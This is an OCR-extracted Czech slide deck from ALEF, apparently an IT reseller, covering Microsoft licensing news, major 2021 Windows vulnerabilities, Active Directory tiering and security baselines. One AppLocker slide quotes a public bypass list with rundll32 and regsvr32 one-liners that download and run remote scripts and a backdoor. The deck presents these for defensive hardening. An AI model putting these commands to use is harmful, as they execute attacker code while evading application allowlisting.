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Microsoft licence v Alefu

CSP - mésicni a roCni predplatné / trvalé licence
» Microsoft 365 / Office 365 / Dynamics 365

* Windows 10/ Windows 365 / EMS / Intune
 Azure

Open licence / Open Value / Open Value Subscription
» Trvalé licence / splatky / pronajem
* Moznost Software Assurance

FPP
» Krabicové produkty

ISV
» DevOps nastroje

SPLA
» Licence pro poskytovatele sluzeb




Novinky

Windows 365 — srpen 2021
* Cloud service streaming full Windows experience

Windows Server 2022 — od zafri/fijen 2021
« zvySeni cen cca 5-10% vcetné CAL

« zvySeni cen cca 10%

Windows 11 - fijen 2021

» Upgrade zdarma pro W10 pocitaCe splnujici pozadavky

.. Windows
HE 5

Microsoft”
Office 2021




Aktuality

Ukonceni licen€éniho programu Microsoft OPEN
« zvySeni cen o cca 5%

cca 10-25%
e 0d 1.3.2022
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o M365 Business Basic / Business Premium / E3
o Office 365 E1/E3/E5




Aktuality

« Od 1. ledna 2021, prechodné obdobi do 31. kvétna 2022
» Vice pravidel a zavazku = vétsi prediktibilita © a mensi flexibilita ®
« Zavazek
o zakaznik musi uhradit i neCerpané sluzby (nelze snizit poCty behem obdobi)
o Microsoft garantuje cenu na obdobi
* Mésicni / roCni / trilety zavazek
o mesicni - hradi se cely mésic, priplatek za flexibilitu 20%
o rocni — fixace ceny
o ffilety — fixace ceny, dostupny od brezna 2022
* Promo pro pfechod do NCE - od 1.1.2022 do 31. kvétna 2022
o 20% sleva na mésicni smlouvy
o 5% sleva na roCni smlouvy s fixaci ceny
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ProC hackeri vyhravaji

Vyznamné zranitelnosti 2021 E

ProxyLogon

» Zranitelnosti v Microsoft Exchange

CVE-2021-26855
CVE-2021-26857
CVE-2021-26858
CVE-2021-27065

Detekce zneuziti s aktualizacemi
3.1-23

Komunikace DEVCORE x MS

Microsoft upozornén

leden 2021 inor bFezén bfezen 2021

............................................................ qecccccccccccccccccsccccccccccscsescssscasccasasasssasncaanaal
L]

31-23
Zneuzitelné po 51 dni

N ALEF Proé hackefi vyhravaji (1/7) | Vyznamné zranitelnosti 2021 8



ProC hackeri vyhravaji

Vyznamné zranitelnosti 2021 °

PrintNightmare

« Zranitelnosti ve sluzbé Print Spooler

CVE-2021-34527
Printer Nightmare
CVE-2021-34481
CVE-2021-1675 CVE-2021-34527 atualizace CVE-2021-34481
s aktualizaci aktualizace aktualizace
1 CVE-2021-34481
I I
| | |
&erven 2021 cervenec srpen zarn : Fijen 2021
8.6-15.9

Zneuzitelné po 99 dni

N ALEF Proé hackefi vyhravaji (2/7) | Vyznamné zranitelnosti 2021




ProC€ hackefri vyhravaji

Vyznamné zranitelnosti 2021

SeriousSAM / HiveNightmare

« Chybné definovana prava na registrech

CVE-2021-36934
s aktualizaci
Detekce
\ VSS pred aktualizaci
| |
| | |
¢ervenec 2021 A srpen srpen 2021
19.7 - 20.7
Zneuzitelné po 2 dny

N ALEF Proé hackefi vyhravaiji (3/7) | Vyznamné zranitelnosti 2021 10



ProC hackeri vyhravaji

Vyznamné zranitelnosti 2021 g
B

PetitPotam

*  NTLM Relay zranitelnost v EFSRP + ,funkce” v ADCS

CVE-2021-36942
s aktualizaci

Publikace

Stale zneuzitelné

Eervenec 2021 srpen z

----------------------------------------------------------------

Q.
=X
N —
(=)
N
[y

18.7-10.8
Zneuzitelné po 24 dni

N ALEF Proé hackefi vyhravaiji (4/7) | Vyznamné zranitelnosti 2021 11



ProC hackeri vyhravaji

Vyznamna napadeni 2021

Colonial pipeline

* Krizovy stav — nedostatek paliv na vychodnim pobrezi
- Udajné zaplaceno $4.4M za dekryptor dat

Narodni knihovna

« Na 6 dni prerusen provoz

Institut planovani

« VypocCetni kapacita zneuzita k tézeni kryptomény

* DoSlo ,pouze” ke snizeni vykonu a mensim vypadkdm

N ALEF Proé hackefi vyhravaiji (5/7) | Vyznamna napadeni 2021
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ProC hackeri vyhravaji
Statistiky 2021

Globalni Skody zpusobené kyberkriminalitou jsou odhadovany
za rok 2021 $6 Trillionu.

«  $190 000 za sekundu

Globalne nejCastejSim utokem je Phishing.

Zdroje: Enisa, CyberSecruity Ventures

N ALEF Proé hackefi vyhravaiji (6/7) | Statistiky 2021



I N

ProC hackefri vyhravaj
Cyklus

Implementace

N ALEF Proé hackefi vyhravaiji (7/7) | Cyklus
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Active Directory

Tiering Model



Active Directory

Koncept Tiering
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Active Directory (1/6) | Koncept Tiering
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Active Directory

Koncept Tiering
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Active Directory
Koncept Tiering

N ALEF
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Active Directory

Koncept Tiering

4 4 N\ ( | N\ ([ N\ ( )
Tier 0 ' I@ i-
\ \. ! ! Doménovy radi¢ ! ! AADC Server ! ! WSUS Server y
Tier 1 I L Is I =
DHCP Server Print Server File Server
4 4 N ( N ( N ( )
Tier 2 _ \é é
\ \_ ! ! Business App VDI ! ! User Workstation ! ! User Workstatlon)

N ALEF Active Directory (2/6) | Koncept Tiering 19



Active Directory
Koncept Tiering

(
. Allow interactive logon
Tier O -
\ Domain Admin Tier 0 PAW Doménovy radi¢ y
Allow interactive logon
TI er 1 *'-:==-=f==.;;,: g
Server Admin Tier 1 PAW Print Server
( )
Allow interactive logon \é
Tier 2 *
\_ Workstation Admin Tier 2 PAW User Workstation)
~N ALEF Active Directory (3/6) | Koncept Tiering
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Active Directory

Koncept Tiering

B

4 . )

\ Domain Admin \. Doménovy radi¢ y
Deny interactive logon

Tier 1 a !2 Allow interactive logon =

Server Admin Tier 1 PAW Print Server
r e ) 4 D

Tier 2 é

\_ \ Tier 2 PAW Y. \User Workstation)
N ALEF Active Directory (4/6) | Koncept Tiering 21



Active Directory

Koncept Tiering

( ? . Allow interactive logon
Tier O =
Domain A

dmin Tier 0 PAW

' N

Doménovy radi¢ y

. . Allow network logon
TI er 1 e only as required by role ?
Server Admin Tier 1 PAW Print Server
( ‘ N
Tier 2 P é
\_ Workstation Admin Tier 2 PAW User Workstationj

N ALEF Active Directory (5/6) | Koncept Tiering 22
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Security Baselines



Security Baselines

Centralné vynucena bezpecnost

- Centralni konfigurace zabezpec¢eni zafizeni pomoci GPO
« Bezpecnostni funkce (Credential Guard, Applocker , ..., )
- Zakaz jiz pfekonanych protokolu a Sifer (SMBv1, DES, RC4, ...,)
- Zakaz nepotrebnych sluzeb (PrintSpooler, Xbox services, ..., )

* Restrikce prihlaSovani k danému zafizeni

» Microsoft nabizi volné ke stazeni Security Baselines k Windows OS

* ALEF Security Baselines — inspirované zkusenostmi a institucemi (MS, NIST, ACSC, DOD, CIS)

N ALEF Security Baselines (1/9) | Uvod
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Uzivatelska

Security Baselines relace

Windows Defender Credential Guard

« Ochrana procesu LSASS pomoci
virtualizace

n inimalni jadro

Predpoklady
Podpora virtualizace (Intel VT-x / AMD-V)
Podpora SLAT (Intel EPT / AMD RVI)
Aktivni UEFI Secure Boot

Hardware

N ALEF Security Baselines (2/9) | Credential Guard 26



Security Baselines

Security Features

\
windqws Windows 3rd Party User mode code
OS Loader Kernel & Drivers Drivers (Apps & Programs)
UEFI Secure Boot KMCI UMCI AppLockerJ

Windows Defender Application Control

N ALEF Security Baselines (3/9) | Security Features 27



Security Baselines
Applocker

- Allowlisting/Blocklisting nasledujicich typa soubort:
«  Spustitelnych souborl (.exe, .com)
«  Skriptu (.js, .psl, .vbd, .cmd, .bat)
« Windows Installer souboru (.mst, .msi, .msp)
* DIl knihoven (.dll, .ocx)

- Packaged aplikaci a packaged installert (.appx)

* Pravidla definovana per uzivatel/skupina na zakladé unikatnich identifikatoru:

* Nazev produktu, nazev souboru, vydavatel, hash (otisk), ...,

N ALEF Security Baselines (4/9) | Applocker



README.md

¢Ultimate AppLocker ByPass List

The goal of this repository is to document the most common techniques to bypass ApplLocker. This
README file contains a complete list of all known bypasses. Since AppLocker can be configured in
different ways it makes sense to have master list of bypasses. This README.MD will be the master and
will be updated with known and possible ApplLocker bypasses.

I have created a list of verified bypasses that works against the default rules created with
AppLocker.

For details on how | verified and how to create the default rules you can check my blog:
https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

VerifiedBypasses-DefaultRules.MD

Please contribute and do point out errors or resources | have forgotten.

¢ 1. Rundll32.exe

rundl132.exe javascript:"\..\mshtml,RunHTMLApplication
*;document.write();news20ActiveX0Object ("WScript.sShell").Run("powershell -nop -exec bypass -c IEX (New-
I l O W I I y p aS S ‘ ES Object Net.WebClient).DownloadString('http://ip:port/'});"

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication
" eval ("w=news20ActiveX0bject (\"WScript.shell\");w.run{\"calc\");window.close()");

https : //g-i thUb L] Com/m-i -I kdev-i -I/ rundl132.exe javascript:"\..\mshtml,RunHTMLApplication

";document.write(); h=new%20ActiveXObject ("WScript.Shell").run("calc.exe",0,true);try{h.Send(};b=h.Respon

U -I t'i mat eAp p LOC ke r' By Pas S L-i S t seText;eval(b);}catch(e) {news20ActiveXObject ("WScript.Shell®).Run("cmd /c taskkill /f /im

rundl132.exe",0,true);}

rundl132.exe javascript:"\..\mshtml,RunHTMLApplication
";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-
Backdoor/master/test")

rund1132 shell32.d11,Control_RunDLL payload.dll

Requires admin: No
Windows binary: Yes
Bypasses AppLocker Default rules: No

Notes:

Links:

https://pentestlab.blog/2017/05/23/applocker-bypass-rundli32/
https:/fevilcg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7
https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Rundli32.md

¢ 2. Regsvr32.exe

X ALEF regsvr32 /s /n fu /i:http://example.com/file.sct scrobj.dll

Requires admin: No

R

. e



Security Baselines ‘

B I tl O C k er <« v 4 ‘:% » Control Panel » System and Security » BitLocker Drive Encryption

Control Panel Home

BitLocker Drive Encryption

Help protect your files and folders from unauthorized access by protectinc

* Full disk encryption
. AES-CBC 128/256 Operating system drive
C: BitLocker on
° AES'XTS 128/256 A & Suspend protection
: 2 Change password
O REI“C‘.E DaSSWOorda
° - & Tumn off ;lthd:e:
Ochrana dat at-rest
- Bé&zici systém => Sifrovaci kli¢ v RAM Fixed data drives
., .. L. Data (D:) BitLocker on
* Prinosy sifrovani disku N
o v , o . . -~ ‘; Gﬂemcz‘e password
- Zajistéeni duvernosti obsahu © dd smart cad

& Turn on auto-unlock
TRV PR y = . G Turn off BitLocker
« Zajisténi integrity obsahu —
& TPM Administration
& Disk Management Removable data drives - BitLocker To Go

Privacy statement Insert a removable USB flash drive to use BitLocker To Go.

N ALEF Security Baselines (6/9) | Bitlocker 30



Security Baselines
Bitlocker

- TPM

- TPM+ PIN
*  TPM + Startup key
TPM + PIN + Startup key

- Startup key

« Password

- Recovery password / Recovery key
* AD Account or Group

* Service

* Certifikat nebo Smartcard

N ALEF Security Baselines (7/9) | Bitlocker

& Require additional authentication at startup

E Require additional authentication at startup

O Not Configured Comment:
(® Enabled
O Disabled
Supported on: Al W o Sa
Options:

Allow BitLocker without a compatible TPM (requires
a password or a startup key on a USB flash drive)

Settings for computers with a TPM:

Configure TPM startup: | Allow TPM v
Configure TPM startup PIN:

Allow startup PIN with TPM v

Configure TPM startup key:

Allow startup key with TPM v

Configure TPM startup key and PIN:

Allow startup key and PIN with TPM v

31



Security Baselines

Bitlocker

- Cold boot attacks
- Utoénik zneuzije faktu, Ze Sifrovaci kli¢ je v paméti spiciho poéitace.
- DMA attacks
- Direct Memory Access, zarizeni jsou schopna pracovat s paméti RAM bez soucinnosti CPU.
- Utoénik pfipoji DMA zafizeni (1394, Thunderbolt), které vyuZiije k ziskani klice z paméti
RAM.
* In Place Upgrade Attack
- Utoénik zneuzije faktu, Ze systém si b&hem instalace Feature Updatu ochranu pozastavi.

« Suspend BitLocker: Je vytvofen novy VMK Sifrovan pomoci CK ulozeného na disku.

N ALEF Security Baselines (8/9) | Bitlocker



Tiering Model
Restrikce pristupu
Security Baselines
Windows Defender Credential Guard
Application Whitelisting

Bitlocker

ALEF



Porovnani politik vuéi Alef Security Baselines

Politiky zakaznika m Alef Security Baselines
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